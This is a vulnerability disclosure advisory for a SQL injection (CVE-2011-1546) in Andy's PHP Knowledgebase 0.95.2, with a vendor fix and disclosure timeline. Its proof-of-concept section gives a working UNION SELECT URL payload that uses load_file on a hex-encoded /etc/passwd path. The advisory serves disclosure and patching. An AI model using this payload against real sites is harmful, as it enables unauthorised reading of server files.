'Andy's PHP Knowledgebase' SQL Injection Vulnerability (CVE-2011-1546)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in a_viewusers.php allowing for SQL injection of the 's' query parameter.


II. TESTED VERSION
---------------------------------------
0.95.2


III. PoC EXPLOIT
---------------------------------------
http://www.example.com/aphpkb/a_viewusers.php?s=1%20UNION%20SELECT%20load_file(0x2f6574632f706173737764),null,null,null,null,null,null%20limit%200


IV. SOLUTION
---------------------------------------
Upgrade to 0.95.3 or above.


V. REFERENCES
---------------------------------------
http://www.aphpkb.org/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1546
http://www.uncompiled.com/2011/03/cve-2011-1546/


VI. TIMELINE
---------------------------------------
03/13/2011 - Initial vendor disclosure
03/16/2011 - Vendor patched and released an updated version
03/16/2011 - Confirmed fix & disclosure date
03/30/2011 - Public disclosure